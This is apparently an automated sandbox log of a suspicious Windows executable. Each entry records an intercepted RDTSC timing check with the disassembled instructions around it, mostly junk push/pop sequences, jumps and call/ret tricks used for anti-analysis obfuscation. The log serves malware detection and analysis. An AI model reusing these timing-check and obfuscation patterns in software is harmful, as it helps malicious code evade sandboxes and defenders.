Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA83C6 second address: BA83DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C456Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA83DE second address: BA83EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA880C second address: BA8810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA8810 second address: BA8816 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BAA17D second address: BAA182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BAF1A4 second address: BAF1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BAF1AA second address: BAF1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BADF12 second address: BADF18 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BADF18 second address: BADF1D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BADF1D second address: BADF2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F028D150D26h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BADF2E second address: BADF3F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F028C6C4566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BADF3F second address: BADF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028D150D35h 0x00000009 jmp 00007F028D150D2Bh 0x0000000e popad 0x0000000f jmp 00007F028D150D36h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B686EB second address: B686F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B686F1 second address: B51393 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F028D150D28h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov edx, ebx 0x0000002a call dword ptr [ebp+122D2349h] 0x00000030 pushad 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 jmp 00007F028D150D35h 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c pushad 0x0000003d jnc 00007F028D150D26h 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B690C9 second address: B690DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C456Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B690DE second address: B690EF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F028D150D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B690EF second address: B690F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B690F3 second address: B690F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B69067 second address: B690C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F028C6C4566h 0x0000000a popad 0x0000000b push eax 0x0000000c jnp 00007F028C6C4570h 0x00000012 nop 0x00000013 jbe 00007F028C6C456Ch 0x00000019 mov dword ptr [ebp+122D386Fh], ecx 0x0000001f push 00000004h 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007F028C6C4568h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b pushad 0x0000003c or dword ptr [ebp+122D1868h], ebx 0x00000042 mov dword ptr [ebp+122D2753h], esi 0x00000048 popad 0x00000049 nop 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B69433 second address: B69480 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F028D150D28h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 stc 0x00000026 push 0000001Eh 0x00000028 je 00007F028D150D2Ch 0x0000002e mov edx, dword ptr [ebp+122D17D8h] 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push ecx 0x00000038 jmp 00007F028D150D2Eh 0x0000003d pop ecx 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6976A second address: B697AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4576h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e jo 00007F028C6C4568h 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F028C6C4573h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B69846 second address: B6984C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B6984C second address: B698A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F028C6C456Dh 0x0000000c push eax 0x0000000d js 00007F028C6C4566h 0x00000013 pop eax 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F028C6C4568h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 lea eax, dword ptr [ebp+1247D413h] 0x00000036 mov edx, 6EA3DDFDh 0x0000003b nop 0x0000003c pushad 0x0000003d jnp 00007F028C6C4568h 0x00000043 push eax 0x00000044 push edx 0x00000045 ja 00007F028C6C4566h 0x0000004b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B698A9 second address: B698C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B698C6 second address: B698CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B698CA second address: B698D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B698D0 second address: B69922 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F028C6C456Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F028C6C4568h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 lea eax, dword ptr [ebp+1247D3CFh] 0x0000002b jmp 00007F028C6C4577h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push esi 0x00000034 push eax 0x00000035 pop eax 0x00000036 pop esi 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B69922 second address: B69927 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B69927 second address: B51E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028C6C456Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F028C6C4568h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 clc 0x0000002a call dword ptr [ebp+122D1CEDh] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F028C6C456Ah 0x00000037 push eax 0x00000038 push edx 0x00000039 push ecx 0x0000003a pop ecx 0x0000003b push ebx 0x0000003c pop ebx 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B51E94 second address: B51E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B51E98 second address: B51EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B51EA0 second address: B51EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F028D150D26h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BAE38E second address: BAE39D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C456Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BAE6C3 second address: BAE6C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BAE6C9 second address: BAE6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BAE86E second address: BAE88A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D37h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB3333 second address: BB3346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028C6C456Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB3346 second address: BB3380 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F028D150D34h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F028D150D36h 0x00000011 pushad 0x00000012 jnc 00007F028D150D26h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB34E4 second address: BB3506 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F028C6C4566h 0x00000009 jmp 00007F028C6C4577h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB37EE second address: BB37F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB37F4 second address: BB37FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB37FA second address: BB3804 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F028D150D26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB3804 second address: BB383D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F028C6C4575h 0x00000012 pop eax 0x00000013 jmp 00007F028C6C4576h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB383D second address: BB3854 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F028D150D2Bh 0x00000008 pop ecx 0x00000009 jg 00007F028D150D2Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB3999 second address: BB39A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB3C0C second address: BB3C43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F028D150D32h 0x00000010 pushad 0x00000011 jmp 00007F028D150D2Ch 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB3D52 second address: BB3D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB41AD second address: BB41B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB42EE second address: BB42F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB42F7 second address: BB42FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB2FEA second address: BB300F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F028C6C4570h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007F028C6C4566h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB300F second address: BB3013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB3013 second address: BB303B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F028C6C4577h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB303B second address: BB3048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F028D150D26h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB9B1C second address: BB9B26 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F028C6C4566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB9B26 second address: BB9B45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB9B45 second address: BB9B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB9B50 second address: BB9B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB957E second address: BB9588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F028C6C4566h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB9588 second address: BB95C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F028D150D30h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ebx 0x0000000f jp 00007F028D150D2Ah 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F028D150D36h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB95C6 second address: BB95E4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F028C6C4566h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007F028C6C456Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB95E4 second address: BB95EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BB985B second address: BB9861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BBFA30 second address: BBFA36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BBFA36 second address: BBFA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC00C7 second address: BC00D7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F028D150D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC00D7 second address: BC00E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC00E1 second address: BC00E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC024A second address: BC025F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028C6C4571h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC042D second address: BC0434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC0434 second address: BC043A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC043A second address: BC0440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC0E16 second address: BC0E1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC0E1A second address: BC0E34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D36h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC0E34 second address: BC0E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC0E3E second address: BC0E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC4E79 second address: BC4EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F028C6C4566h 0x0000000a je 00007F028C6C4581h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F028C6C4579h 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b jmp 00007F028C6C4571h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC417E second address: BC418F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Ah 0x00000007 push eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC418F second address: BC41C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F028C6C4577h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F028C6C4577h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC489A second address: BC489E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
